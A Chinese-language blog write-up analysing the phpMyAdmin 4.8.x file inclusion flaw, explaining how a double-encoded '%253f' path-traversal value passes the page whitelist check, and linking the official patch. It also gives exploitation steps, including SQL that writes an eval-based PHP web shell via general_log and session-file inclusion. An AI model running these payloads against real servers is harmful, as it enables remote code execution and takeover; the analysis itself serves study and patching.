前言

其实也没什么好说的,总感觉没个前言不完整,2333~

漏洞分析

该漏洞影响phpMyAdmin 4.8.0-4.8.1版本,本次分析使用4.8.1。

漏洞的入口在index.php 54-63行,疑似文件包含,看看有没有搞头。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$target_blacklist = array (
'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}

这里有5个条件,满足之后就会包含我们穿过来的文件。前4个条件都比较好理解非空、必须为字符串、不能是index开头,不能是黑名单中的文件名(import.php、export.php),重点看最后一个。

libraries/classes/Core.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
); //按?分割字符串,取前半部分
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
); //按?分割字符串,取前半部分
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

前面是一些简单的判断,然后文件名必须在白名单里。接下来按问号分割字符串,目的是适应target=view.php?id=1这种情况,分割后$_page仍然是view.php。

漏洞就出现在下面urldecode这里,如果我们让db_sql.php%253f/../../../../test.txt,其中db_sql.php是白名单中的文件名,%253f?的双重urlencode,php会自动进行一次urldecode,第一次分割的时候是这样的:

mark

当然下面的判断也不会生效,继续向下,第二次分割之前会urldecode一次。

mark

分割之后$_page='db_sql.php',符合条件,函数返回了true。

现在5个条件都符合了,php会将db_sql.php%253f/当成一个目录,所以需要多加一个../来包含我们可控的文件。

mark

漏洞利用

由于漏洞出现在phpmyadmin后台,所以利用还是有一定的局限性,这里有几个利用方式:

  1. 利用导入功能,上传一个有一句话的文件

    phpmyadmin默认没有设置上传目录,通过操作临时文件来导入数据,执行结束后临时文件就被删除了。

    1
    2
    3
    4
    5
    6
    7
    8
    /**
    * Directory for uploaded files that can be executed by phpMyAdmin.
    * For example './upload'. Leave empty for no upload directory support.
    * Use %u for username inclusion.
    *
    * @global string $cfg['UploadDir']
    */
    $cfg['UploadDir'] = '';
  2. 既然已经进入后台,那么可以创建一个数据库或者修改数据插入一句话,然后包含对应的文件。

    mark

  3. 开启通过general_log和general_log_file来获取webshell

    1
    2
    3
    set global general_log='on';
    SET global general_log_file='F:/cmd.php';
    SELECT '<?php eval($_POST[1]);?>';
  4. 首先执行select '<?php phpinfo();?>',然后包含session文件。

漏洞防御

https://github.com/phpmyadmin/phpmyadmin/commit/7662d02939fb3cf6f0d9ec32ac664401dcfe7490

这是官方的补丁,增加了一个$include参数,在index.php中使用checkPageValidity函数时直接就放回false了。